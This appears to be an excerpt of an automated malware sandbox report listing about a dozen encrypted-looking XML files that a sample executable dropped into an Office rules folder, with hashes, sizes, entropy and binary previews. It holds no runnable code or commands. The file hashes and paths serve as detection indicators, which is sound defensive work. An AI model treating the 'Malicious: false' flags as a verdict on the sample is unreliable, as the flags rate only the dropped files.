SHA-512:	ABB5D4A837AF75E4B507BE7D879845604DAF20DAFDA2FE152795D6AA44194AA0599F246E7959BA6BD3B5EBBF7BEA0462EFA4F74734D9434CDE77AA81E13FDB03
Malicious:	false
Preview:	<?xml.F..'._O......Y\|.........AW....3:..\..ha.....X.B.-i...m.0.....4Te.:.._...:.z.M.u..oAQ..d\5s..O&..".l....^B.p.Uh.GbP.fG.X..R ....H0o.1..,...A.9...L."..k.......@...V/].v.M...R..T...j..5.(.%...;vCA...Z..F.zv...Vk4]..N`....}=.%..b.......TI..h.....}e.J(....FV.0\|.(.L.Q.0%S.qO^.}.h.`......../....^5..'...p.....i...+4.D[.{X..f.....2..xv.2..?....KF_]....04.\|.#.ji..o......8..A..+&...........R.xz.(......mh.8\|...5.]S......{.....).e.nv!...Fn.......M.q.......%.\|t...~tG1p.uw)...s.M...i.+...a]..._U+.z.w..7W.\|...i.p...!s7.W...v.......s.,5'Z....'O....[........n2...o.;...W....N.#..i.H..e..I?q.?....r...........6..]u..?.)...9./...?...z.....H.....<..H.].....Q.].<q.....I.{7.(H.H]9.....1. r.FR;..<...).&.s4E..z......OX...7D.\|..a7..].C...RG...Y.@..i0.Q......U...... ..SCN..a......oOgZ.HB..S)m.Um.<.3.;%...HG......,......g.+2.(.n....(..^...j..\|..,..e...o.R9....R.:.....e~.4<../...C.....'....B...... .fm/bP....A.F+a.y...bg,....9.......V.,...\|..@a....p..x...<Gc.E.5A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.896649593907844
Encrypted:	false
SSDEEP:	48:sDqAuG7bjqjTffsjOEmA2BqSQ+YJPocCi08qD:sDnBSfkmA2YSxSAcCf
MD5:	9B02E18A1831DBDEDBE605D9DF229952
SHA1:	A7252ACE60AAB87B4F6AF299D7BAD32CD16B74E0
SHA-256:	5B07D6A721D1586EBE59D71717EA1866170AEBCFCC011F2D309F8AA56A03CD8B
SHA-512:	74BAF1FDC4191F7FAD4A87754476CFA920EA7C7453EF79E10E44E7CB358506D68E6C982ED5DA1A15DFEC965F330C51C629620F91012BA66A0F2946B41FA94681
Malicious:	false
Preview:	<?xml.i...5R...j..A.'..<..P........lo.yf...,.`..95.b..U:.(.. .G...F...G...0~..-.s.,.H}.....h..d.Z.'.z."..X..JD...C.!#..\|..f..M.c7-o...IP..x.pX\|.m%.....%t.....A..\,Vg>...\h.....3;...p..!../J%....nV.....$..V!.8m..@.T....j......A.t..(g.CH.^.RU...;2j..........<+a.pu......=...-(.b)\|....AEm,..Z....7.......3.k.Z-.......bUV..K.o...GU..<g.P`..O.G.l.j.cfT.Y1..W#L.G..!v\|Oy.Xb.t3l(\|.j..7.)R..B.w..XN.....e...\g..M}..".A..G..z....-..ZR.s..E.[ql..zB..i..b.........{..........&.`....vlO.u.n...D .rS..V..z!......{V..A....W....$u3j:H...!...&s....q.?.J...cJs!.....l.!P...._...YS..c3.y./...........I....uCT.:ogJWU..R\I..A...w.I/..(..M..z^K?4,..?.)3..v..9.?....IG.G...3...0C.m........d`..G..C._...z..e.1.Z..........n,l..!C`...."..V..6.A.@.N.0...pX..=;..............o....wV.w.\|.}U.mX...>0 .X.\.f.jy.....y.o.......-..7....&H....:..R.G}Uc.S..rf.op.dR'Q...".h.......&l....s..wF.=..L..GR6..~.O.".*r..at6n.(........,&rU.....h.x9H..ZFH.........>..r...Am..l..k..'......{..t.+..%.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.880311755199164
Encrypted:	false
SSDEEP:	48:lvZbfd5iPEKVtno66kTN5ZIYqsnvytTi7IN17FyB+D:lvZblh+n7PT5XjMTiIN17MM
MD5:	62B05D6D5E9EF3F528867BF9AA260DBA
SHA1:	86EBFF630AF50FBEA953818DA2D4A932BD01E2EF
SHA-256:	965DA47B31E63AD3E53D40ADA1D4491135F7CB83C968DF4627197C6AA02B3549
SHA-512:	6D5B2258677B3E343E019086B797DB6ACE67D108CC3CAF84B34897A829B7FF98E6F712039DB6DBA3CF86E168EC1D29B97350DEA248FCEEC8A4CB95847F36D70F
Malicious:	false
Preview:	<?xml.T....W..IAQ.C....5.....{..C.k..3..d...!...$...i!H\f..-eT,S.k.....TE9.z.z...x.b^(.J. .M....r..X/._T.I..........E....>.,.Z...1q..:H....p..[...w.}...&.(`e..'.tP#.(.$B2Y.!?".....L....Md.6....fz..A........\..q.4.}.D."....@...Bp..=.+f77.i.o..~..VL\.d.......6...".....Z..Y.lV.Z..1..l.2....d..1C.......d`..rF.x..s2..Zw.....(.<ve..uZ....&.<.y.8.9.(.D........i.....1.g....L....C.-gk....@..#_..7..D..R..[........@z..n...j=4.`.3.H9....[-........[o..A..h.K.F..m.w..<N...V..j\....El.M.iw....Vb..levK&.E,J...N7..v....].x...o7...7."..UW.n...&...k.&.4...Mwv.hAv.....^}N......\|....S:......X..o...sq..;~.D.H1.j5...`(.sm.<.........{W.....Z.Y.~~....y.5b.z..Hk......X..!.(.1...B..TIh....J...E.O..&.N.E..9}.r..0kmt..I.+.UVX....../..g...^N....h.RM.jP..1xK[J..k...^$6..bP\J...AI.Z\|[K..FA..vN..H...)....x^^.^..M..ODi..C..Q...:R.....~:. ...t...X.Y.a.....?@.kw.c.A'9k.bU./.g...I...o.v..`g.S0...{..]..6.T....V.8.u.c........$.....'%..F...zG...ngb.M.......B.wg"-......k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.8779975581505655
Encrypted:	false
SSDEEP:	48:CYPxCNykH4ErmABGmz38OGfgskhUcvvcGycAwaXD:CWANykH4o8OGQUsvfycAx
MD5:	26EE49EBB4C111F0654A5F261D5D530E
SHA1:	E2E25453F35D7FD6C8155CF078DF77B56DC2FD03
SHA-256:	B32C764FCF5DD6B3236A11A6519537948E258A8765E3A9E996C5D9F21A1869B0
SHA-512:	5563D497120579108DFE0F129091ED797916690EEDB454C38963344F5C11883DE2A49343EBE613D76C8EE37864E81889C59D595462AB132F241EF35C32753494
Malicious:	false
Preview:	<?xml..2!.......}......>>kP'.X.2....+rwT.8;.+...D...H:.p.t.{V.-W.n..h......a+...L......b'.........V?......... L..d.s.....L.W!..is..%...A.Z.........h.K]y.....m.9mCl..;t......@.>l.!....KS#...-...;......7...NY.u. k.?...m>.y..<....A....7j.v...I.-.jT......`I.=.l.oitP....... ..I 8`9;=..Gm*...Opm..-..3o.<.f.>.7EoJ....w....S..i......=.IeD..=Q...q....I..E..,..x^E.L.."....;t........del....tN..].,..I.q..v.}Y..(........S..t.9.......6.G....5u...\.5f..k...(aw~........L.....r:m.(EEB....a...P_.B..`f%.+.......K;.Dis..Fj`\|Py...r=%.7..k.../.u.......[.o,.......D...n.V.s.>eiq'...d[.q.I.3.[LQ?...6q.Ah...H..l.]....5.5.F.\W@K......D.r....9....'&.p\|q3LT.K..}.o....k.<q.A^...kL....pJ>>=.vwT...U>.6........9...mH......8....zSDS.....pre.}.=O$...':.C..\-.[....P........f.._ovs......\|nZ\|.....6.~kl....5.z"m.U...S.;.....qy...Q.kz..t...^.{....].#E..P.V[k.t.....)R..t...a..ArF..^._.....&..H....Q...h..D..U..i......._.y.B0hZ.......;..!.cr...1...uY.j..q.c:...Z..%Y..)[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.896626740695955
Encrypted:	false
SSDEEP:	48:bE7JG9OnYQ2/d+VQvXX05ahS1Gx1Y0lVgDZNpoukJD:bE7J8/sVQvMP8vY0UPpoN
MD5:	7B881B967655CB89F4139090D2D31BB4
SHA1:	C12B328FA67E8D288E01C38C146930734B1073AB
SHA-256:	C1F0E1C09D07B26422D40922A500031FE2844C74AD40BB1AA42EEE3696766238
SHA-512:	B4081A104CAA2FCAD8106E979AE49337F420A0B41725CE44205282E6F23DE17ADDCEEA95CFE71376CB7ED0E1CF0C4A5C2389F9FFCDA37BA089CC3E62233FA002
Malicious:	false
Preview:	<?xmld..-.1.. .W...]8-.;..rA....\|N.a..o.ww..4R..C43..jBQ....'Az... c....UGi..`...t.o.).MQ....C..r.."ZU......:A..u%.<...q.........C.q....1..Z@...T.`.),4.+....J.9LD\....(...aI.]../.[.A.......@_.D...pf!......I~>....VYhM.Tq{1..L.{..=.P......;...h.F.._....q....b..OU5!..(<AP5.),..S..GV.....s...4..P@l.Q#.E}X.[...N...`....{..B.b.]...^......L.A....V.t.Y<. .}.W.E.CD:.s..bg..!?u.MF..P.8 J/b....^.Q..s..d(Pc.d....."...H..>....:.P[.\..XN.T...L..3.J.4.....zc.>....^.Xl.....$.M./.........N...L..3,U.w......9Tt...E.h./. .b.....I..9)..j....3:-.[az..Pujq.g...d..H..\.k6y....'.I.G.....eSKM.k.....&pT...B:T..D...p.8.Q-8......G..........r..Xp...E.T...5!..8s..?...u...O...Bt.....o.x..q......6;.O.W.zs........[......#.......dl0.C.;H"....Z..Q.'.2...{n...i.%......II..RWgZ...!......i.....Q......).O...ruW...g.g."z.9zh.x.O...z.. d./e..).o..6...G....S.!b.*X.=...D...+d..P6s\..."n..j.k$..rtH.Ne.._........f.4..A..^..........F.5..&...I..#...v..Ps.D.;Uy....&.;.S.N.\?...J.^..,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.882233999165604
Encrypted:	false
SSDEEP:	24:/sV+uy+LyT/4wq8rvoiv/mRne3GNEcoH3AxgKEkQbR/o8hQXUFyYKt3Uy4W00CbD:/sop/OKvoM/MmGNEcDxDBXUFpGky4tD
MD5:	F44CD6B4A8E41B0234B624974A5DAEC7
SHA1:	F23F387D66B96E3B0F29C5F28DF22528A082EB36
SHA-256:	FC1B95F0FEBC02C94405AA81D121CB3D9A2F69994B9768A0770E3ABC796BDEC3
SHA-512:	6D9CEADB112F22073CDD35D5BDC5E57187471DDC331A634AED620E30BDBB6E2104B69FE10BA39492B8565E9072D964C8C086EE6BAE5007B6FF6722D3FD789340
Malicious:	false
Preview:	<?xmlA..@......%.Q......hGqz...........B.fh......^d.....6..V.....3..}..X..S.4.....Rv.Q....bd?Q..........d.........Y.\|[...)K:.6.&nh\..8`.$........2.X]......s.........+.;.\...zr..7...z.axJ". ..>,Y.w.B.^_..Y.4...5....KMD+..P:..`>..7..._...mOx.--..!.V.g?e...r..D~s..O.c.99Nl....8..p.......13.x_....Y>.xY.O.7......M..A....C@5..Ab.q...~..q#.n.g...12cdA.IU.,..#....~..{..H.3OF..M...4]..a].l&.VfZ...0a....(7...3..607.!..m>.k..^K......G.+{.].&X.l..{{&.1t..Jq.I.w.U...<...8.3.9..IqmS....t}..B...j5..~....p.,CT........l'e..<...._Tr...F..Y...M.U.P.+=....R....<:.@4I.f......f..._.q..$.K`M.c.Y...q3D'ei-.y....D)[.....oRhm.. YH......@..(S...>...q/.....U.`.(e.........tD..@....g#.>../.+.I....-M..ik.1..!..b..=M...Mi..;.{.2m...\|X.(.@....-=.c..T..~...4r...85.Cqh.D.j....$L/.\.Y..9....A...o.........,C....]....(..}Y.1ww%f]..@[..4.F.1...=...P....H.`.!.7....E6'.H{s.....:ZI.....r...h..4...i\...lAt2..!Mh......K^..!.6.!.4..P..G.E.S..kN.i...h.....4...C1..jo.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.894305655993292
Encrypted:	false
SSDEEP:	48:czt2SYD0hYE6LXKSACt7p7SIkmWp2zsjFsv/M4JD:A436STpp7Wm/p/Bh
MD5:	C008D83302E6A0DA66557D89188C96A2
SHA1:	9397DFFD88EF3384BCB19C3FC6CFA31C98256799
SHA-256:	90BCD51319C7592EB05F33432D7100DF34356C4225667DBC22517395858FA372
SHA-512:	8F0B4C26D87B59B904E4006356E6E81C8E67B15120204D7DC13788C020B9BF66E8E58A48F9D7AE121B185E91114DCB4DD648F4F516B51DBBAEB7F0F0BFF79A36
Malicious:	false
Preview:	<?xml..]".`.?...:.C7Yz...P)....5...GX^.n...y/...u.s..5.........3......'........9..N.................R.l._..`...&..g..dC.&.k..&.iW...Xy..i..2.evX..s.qo...y ...`.7"#.uJ...~..Z..,H...9..(....~.&..l.....B..D...[.(T..;..5c..H........$...,.I-..\t...>)`.!.....-.q/x..z..y.kZ.._"J...pr.._...6..E.%..-.....V.e..-mKX.k.H>lD/6W+..)..%Ix..........7J7..T......I..hJq....\|....]..}..e.....k..>...%......A<.\|...l......R.n..rm.#x..g.P.6J.(..9..uSd...dn..c..m.A.l...G.....D....+'.4....Q.x....0#.Ik...5.Ub...u.........i....]E$4.>.;....`.I.P.p..[..>..XJ..........%..=.c....l. 4..D..........v6F.H..g.S....+.B..>..Hq.es.........9.!.\|....(&.l..;.....]...N%.......,.j,..{o$Eb..b."...+........VQ...dx...B...m.QG!%......T.!...`.$./...<;.v.&D.,6...C...il...T.MK.S..K..G$.:...g..A....G....+oC.....2A.. .ir..(.=gP..=..Vi....p.&.f.....3.*...........n(~..Z%.@\.5....;..JQ.G..G....A...2h/'N.....W.?.-aYU.VR...(g..o.......xkN.t..D..B.dP.6...@.H..;G9.<....Y..'.{f..(..9$....}.w<......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.872931411977094
Encrypted:	false
SSDEEP:	48:fPq+qBqx/BiMmnL3AidNR8rgoqNtuCe7Bm7AW1Cikly0Rtx2D:Xq+tAioNRyDwe7Bm7B16y07s
MD5:	5B46375DB78016938795D3F3D6322AA5
SHA1:	135FFD86C0A92845966FE1E06AD5FF35F81A253C
SHA-256:	32E66AC11142CA595974E21A6FF15B5D26D7334998F26348DA0B60AB42D4BAC9
SHA-512:	2C54135BFC29A1F8468227E658B4E618C05C2838F7F696EAE4CEA1C5060E37A6B58052A90BC8964794820BFA32E2BB3071616579B1ED4AA2B48DADA588040AA3
Malicious:	false
Preview:	<?xml..L..j:..=....&.Y...k.....F@FY..C..+..\.\|.T&.......P...&..A.!6.G.....\|Z.E..#........^...oX..ye _...[.p...wB....\..qx+N...h.L.:.4..<C_b.4..p...M.K...~....W...d...+............}+.....]r..cmO..q....).m.V.>..'.:-. Lz...0S.+L......%.C..vaz."./2..d..L....eS.s2..P.wm..8....0.w...,.T...d_,.....0.i.....M.e.......xIZ..c.h..........9...^.\..%.o..?.3.~.r.........1..iH.UQp3.... .F..}...Y..].=.,.&.o.w.99.q.D...a..C..,.Hm.........{.&\|.u...ML..T.sm.;...a....,E....3.....7..og.....S...........&J.S-.O..m"._&..r..V..=N....J.}vU.....c..8.,.b7..O...*#.".d..=..\|...............bNui.....(..o.A.....H.....V0..M.".9.]...8..0.T..m..1.0..M.........f..\|8.t.K.d'....$.lG.y.....=$d.3.YQ..l....:c-.A...2.6.+H')$_....P..7.)=v#R....#......4.Y..e.>.....v2.G.8..y...g.:.08....c.t&lW.{..=..eO%.3M_v2...3.mU.%.....1.p.f."C..yw..U..z......K.[.l.J.!...yVU.....>yb.]c....C...]A....{.K-N.;.....YIL..A...nT%jp.g..>..[...r>.G.\..-.,...B.R"imG....K\.T.)u/..._....V2...q..w.8.....F=%....)5#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.901776511153264
Encrypted:	false
SSDEEP:	48:KRey3LBksD6UxF+ikEFkbWeISDbUZ87zJ+aD:9y3L+WTP+ikEA0Z8Yy
MD5:	BEE8ED27202464602DB52958ADC68803
SHA1:	01F4CA8983D0395ED6CBA3E25AA4AC32C6611782
SHA-256:	744D901CC1B6F58EAFA82ECB12A2493936FA22F82605D8936103C843A9C4A98A
SHA-512:	DAB68ED48141AB10695CC1DEB415CF0389ACFAC72FA96891DA7D5B477610282D27999F63D352BA02AF3D39E3AD7CBB37B88BDFB1B406444EE5A4CC080C8DAB4C
Malicious:	false
Preview:	<?xml.....;.@...?!..0.....k(...3..Q...H......3Jib;..0.lo.....L...k.ll9T..?.. G:........J_.....".......F.....s..mf........q.....L.;".O..W.......?.......F.pq.6..gW..-...X.aH.R.)..5.4M..{.....]A.J.3s..3..S..~....\|xY...E..v.^....."<7DZ.R../d.......g.E.Fc...K..sw4.N...JX."........$...o....@...Fdm...I.jx.t."...o=,..L....c.5f..fOI.....n...NvI.g.........Q....~}6.......>Way.O.;..........Al.....vk.Zz.E.<cy.T..L}#5.$..,...0....}..>M\~..>]I.......964Y...d..R....{N.$.0Y.....s....z....qoe......i..jf;...4....x6 _.:L...P...M.......O...../.#....@...I)xP..."_s...XJ.7!....S.a@...`q..M.....+..O]..J.d.(.._..c..8/.`}(n.s.w.DqP.....3..7>....AJ..[..).......~...E".q...+1],.t(..v.%t....E.....X...z.z....'.!....W.P..$...n....1..A{9......h.....:....^\|.i-.U........)~s}.q..G.....Q......Q.T..ew.q...0.......2...e.c_....#.&j.:.b.0.......h.7....A..iC..#.8..s.Jxw; 6.p...3..h...%.Q..o.....>...;.Zd.~T.!o.).8Q[...! .....O...`...fgT>.V..#......E)z.oi._..H..K..{.....N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.86039435975384
Encrypted:	false
SSDEEP:	48:0ce82k2UjMBaLrSEJZmU1rw5Vbp4zOsUOke2VJD:v2kSspwLV4FvCr
MD5:	BE668B9D527A0951BD09277747A62691
SHA1:	1A6E498377B668FA3421D6A3847A3C1463374B06
SHA-256:	C6E9A086421F12D9B08C54B1EC150E6131798725087F77E5CCF0155493BC873B
SHA-512:	A50D826CA6267115EB0AC8AB6E159FEE9AB7F5AF38B712E563A8120AC7B87BD15779FAC0802CA196C00D4DF015D22C05EDC4BA2BE1F27AE35767DC044832033C
Malicious:	false
Preview:	<?xml.rV..B.D.z...B...{YX.{.B..`I..k,.(..J.....x...Q...d-FCY...K^..c.^.#.GB....H...b..W.%~.`......~..B?...\|..i...f.]b..ECa...x.#...DgnJ&...s........BW....X2..>>j.._.8.)....g....x.0j.-.v.l.....m.....E.@d.y.o..O......E..<^.]..?......t.......W.\|..1...Tc.d...#.bF...2Y..v.5.T...'?.Q..E...._h...^d..2\|.$.t_...v..z..M....[...1...z(....@}!Fq....tt..L.f.#...U5Y S...9..(........S..e......!....{T.#.......RSi..3......+^............`.1..kZ.`n;..W.....`u...1...Z.&.....3.F].....X......\Q.=..-q....D...%......\|Fu....o.&....Vas....'i...!..x.yG....g7zf.,[...\|....I.....j...p..t.P..9.R..Od.E..$4..$......4.z...zrEP..vR.U.",~h...b..t.\|.\|..Rv.+Q.90.2........ ...v.U+/`..F.T..MN.GwD.t.~....Q....h~j".......E..'.~.....5.3...1:.0.....Y...eF.4K3...6.J;.W...qn...e..........r\|E>.......cB......D...D.MA.C0-4.<...4.........\|......Z#...E.E...........$j.R@........\C!....M..)P...`.<..}z.P...4^0.......Jg.M.=n......."3.VI.BY...~C)..8.O.!g.U.C.Z.g.3.;?...N....M(.7.gC..p..Nl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.878236542010799
Encrypted:	false
SSDEEP:	24:RfXJhXDD+wrFAoqAo5iDpj0NtBGMb57Uesc+GRXIrNClzVpAdX1CVeF57+2/dkpR:ww6p7NU+jlzVpAdlC05SGUqurD
MD5:	B9F5CF819DCD2D2A15A40CAA4590135F
SHA1:	8F5C9F18940CD414784E9A63A9D756731C9C0E9A
SHA-256:	2D7C2B1C5661270C576EEC82B83E63A03BAC4873466AD9DDFD0F43FA806090C4
SHA-512:	1757AE88BF9D5FE6D9E2BE7BCE69652ACF76F212D4C7DBFBC27B4A58F0AEE024EF2113A6C79869E8581F27EF9CF4D1CEFEE494887A2A2618C69FB42CAB55879E
Malicious:	false
Preview:	<?xml.!....i#.iy>!^.6...\.Q5.i...$H.pn...O.~.$)..9nx......i.L........$T.i..Jf..@j#.V..4.C....\|H.uj8.L.f.Oh.../uk...4..\.Y....`..J<0.{..i.v...S....-W5F.L.}...=...J..6TD.uo..P..+We.iB!.R.c....5...)....m.b..C..8.g..:.........%......US.JG..7...l.>`....[2\...J.M ."Mz.+.o..`.y..2=....s....k...cL......n.....$!..U.(F..#.q.~......C.......l...U5".F.6.......,.vol'..>HQ.e.6.......5j..k...J.FM+Q..w+)..".N..aa...u..}F.3^..8..F..\...m..I[71h......V..........y .$....74.6.o.rL..j....J....\ r9.Y:{.:C\|...K....9...O...yR.....X..!./...?.W.....~....L!Y...R<t..v.6....B./Y$.!....<.. ..EiX.}.`."..:..U..p..L.....D.r@........E<...{-u..U...j.u...t.[L..j./.q0...`...\|....._.....;.s.J.4O.'..ZT....M..i.%...K<.M...v^..f.9...=..C..S5..%.....I_(l./..<...pA.)\|I...........B.l..n.6..G....8S.6...9.S..j16.r8,&.f...MM`...G...A...2G.v2..v....bj...........].d~uHD..-t.%.G...v1..R...@..lN..w......K..._.. W..,..K..v.....L.K..4..{.~5..@...u...9......M-*..]..:..V57.X......~...c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8940689082072355
Encrypted:	false
SSDEEP:	48:1H/Vn2QIOJEwqVLqyh1qONgyoumaXGN9BEzTD:1H/VIoExqyjscGS/
MD5:	ABC852AFD253000F76850FAEFEF43315
SHA1:	DA6B5C7F5BCB714003617103FD832D7DB63194A1
SHA-256:	B6CEA2C6A2F66EEF7CE229EAC07140E2ADA73E4F49D778D94FFD981290D62CFD
SHA-512:	3D45631475E9BF77E24939F9D587EC4A523110990C57A23C5CC736905993702D362A3631FC58FD14C3020CF7C4EBBF04C1C8D377F85F483C33FE371D8474A6D7
Malicious:	false
Preview:	<?xml.".....7>}..cDN,).e..[>.BH...Cf....%...4@.jH...G$.c. .....(..p.`...Sn.=....3>.N.G. ......T...b=Q.Vi-..%..H...a......9......T.\.?.D........%..s0.B..3J...g...\P....[..Z..>..0+d.jtji..7....1..h.^.< ........... .J..6..e.`..T......N..(.[....wuI...X.%k....N..mI.....p`..#..<B2.....5msg.^...-.;;...#.9...l.......n.....>.=.........wF..+(.....&.#.}.I..8.(..c.0...!..J..JSO.8.M.....i..Jn.'....p.@...s..A$...j;...\|.$.9y...cH.....P.W...BR v..}.p.....Hy..(.J....'.:)I.f...+s.l.........G...c..}..'..Gm..ic..6..qXD.e..O?.C...uI..."v2/....>..k.....W..J..."f..@Ek......5..3..I.......C..............Q.p.BcF.Q..Q..p..+l.1\|g.X..y#....ef.)i.d.}.F..<..w@...G......w ..#...o..,.......J.A'.j.u-.N.4S)..c..*..._.pf(....p.X...G.A%....T..........//.7..K..W-..1..YN<..._.ms.7Ll.:^.......`..$.#.5...-;...-P.$}..u.Wz.uY.t....Y..r..T.r..N...ah._..O...7-#Q.U..V.{-.o..%rPG.$....=yF%/`.vvy.WYK.^"G!...w......d".=b...t!2...n.P..[...U.\.C\.~a......Cx..t.C...e..1.4^...]....?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.90392077563785
Encrypted:	false
SSDEEP:	24:qbRhTaRsr5UaNrD6Fj/039WxC/y3xz7Hqa/6ylXqO/qpxi+Tk+R4N4cwnuwsa1HX:igsNXf690tckqqO6yl60/+Tp4NrwnKuD
MD5:	D5EF03CEC7DEBF254B2A3E37F8119B3D
SHA1:	9DF27A5BB46584DB34673B60B5FBA6124793EC36
SHA-256:	BF23F4568494CEF16DCBC5A3DE1F6D101EA62110625D464D8DCB00BCEAC531F9
SHA-512:	F1B309F12771E9D72FF5E7B9B21A800B55DA42CF02ACF68E70C1A97DB50FBC80F08436AD96757BDCB9C0949122F18738BA9CF2AB3C436F4572EF6BB65C85063C
Malicious:	false
Preview:	<?xml...gf....%.J3..2`[\|V`.9.>g7..'...."..[.gs.[.7.J....'n..~..<j...J...p..R.D.....D.i.......c.\|.B..Q.........v_(.......:.....j0&.........'....I..........e..G...f.b)..P..iA4.......X...[...]K...'...(%..g.X...S.W...........-..^BR.y2........e@Ed/........n......o.Tj.].K....6..v.9l.\|+b6#ey,x"..j...u..o......Kf.X...\q%"Q.c........c...G.<U.Ik.x..w..gw...T......]B.\|..........3.:<..8..........@....C[.#...>...~.`O.....#...@2..?1........[.x..xg.I..d...0..m..<X.....K.`.F........I..0..J.J/....M.K....d....5.g...FU.Z..O.G,.'.3K...LFP.g..h...q....lK........5...>...G.^...P.}s....W.{kt.o,=..Z....{[k..ZZ."5.o....x\.V.r..m.&..4..J.O..,fr..jZ.....M#c..Q6..,.../.iV.G....9./..V.q...m...rnJ..,.&...n..`b).h.....u.......$Tc....g.m`j...a.H.T!BY.me.V......._C...J.B..g.k-..?..c.."..E*..h..._j.c.n..(. a.a.zay...6..l...e.B......u.b.[gta..?.f..!U..Rdo`....0@..QZ.o...x.`..z{...@..d)....j. g.?....CQ&P..`..\|..b..D...&..M..i...O.....0.2.)..,..0....NH..... _ ....z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.88937535165322
Encrypted:	false
SSDEEP:	48:r13nJaS2xafRz+1Kw1LmMheLxhazdttH+o8fUS14XD:r138hARMhmMheLxs8cSmT
MD5:	4CC7830A068A6B8284DC830BDA07B47D
SHA1:	F19AC73FEAE36066AEA42B52C3DFE8B8D3AEF123
SHA-256:	72A9649398A4A1E739BA06D1F44809A109AD4A11CFC52D455CF4FC2AC39F16CA
SHA-512:	8A9262C398402770EB12017F804AAC785872B82D1B7B54936B183D0BD407F93205FAC9FF9E800996B45AFACB59A8C2345582407BC5A4C61E0598EFFB2EB0DBC9
Malicious:	false
Preview:	<?xml....P.dK..K@...'...I.=.nz.a..h..{~.`.bM..g%<Q.R..4...>.=....=...u.2..br.3...k.S..Q...9............M:.L.6......q.'M....GGb}31aa.._T.codwY.S....I.e.#n...;..!....z.....JV.P..v. .5R@t.........Da..h....'.....w5.....DA...p....MZ...C..A.R..X..w`].R5eS.^...q..._..^.... :C............8TK.....h..Y=].O3FNd..M...M09.X..S.dm.........W.{..."..X..j.1..L).CYYXE.{.=.{.}&&..q[>..\-\n.I.._A..^..o#n1...n....(.r..W..r.......)......'.i".l?..M..")...3O........H{.d....xq...WG..... ...8tO....{-...\|..;d#.y.g..m6.H\.......g..(OC.k...=.Q.:... .B..-..aM...i.A..n.D......jK....Z....Q..ht. .....X.@B.4..x.[..p4....;...i9...m.tY..12.cd{B.J<...?...d....q..Yny.......y......:.=....I..}..kx......cg,.....]...oz.{$.NI%3..".yT.`....Q.I.lV..`.u..y@cc..T..q.x..Ar...w....zs.....l..H..2..su.@.g.~..z...wX..._...3,9Z..[.../..#."....>Q..'........Qd.]......C.!e.z..b.....A8..@....9DvR.`$".OD8vb.c4.....m....v...,.u#..7."....G...'...%P......M..A.;.:....#9..w.{.z.1.H..1ka.k;..dG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.881433551602251
Encrypted:	false
SSDEEP:	48:Xn+N7ut16/nrK+Q8ZJ59C5FTatLNG9VVmMSD:XngbnrFQ8ZAbTatY9VVQ
MD5:	4F33FAC7C663A5EF8D20F2027B06AF1F
SHA1:	0AC2F9C1E7F5E9D68B7322EDF101454C6799A59C
SHA-256:	CF6EC30AE3ACFAC1CC945BC6955C828FF63ADE8491EF16EBE78EC99376EF997C
SHA-512:	AB782A8B955D36EEACA473D2B4FB514549AEE7667FA8CD6572B2DF43BCBC1D767889B889D827233C17D1FC751C0AB78BFDDA395F12B1707A2019B367187918C6
Malicious:	false
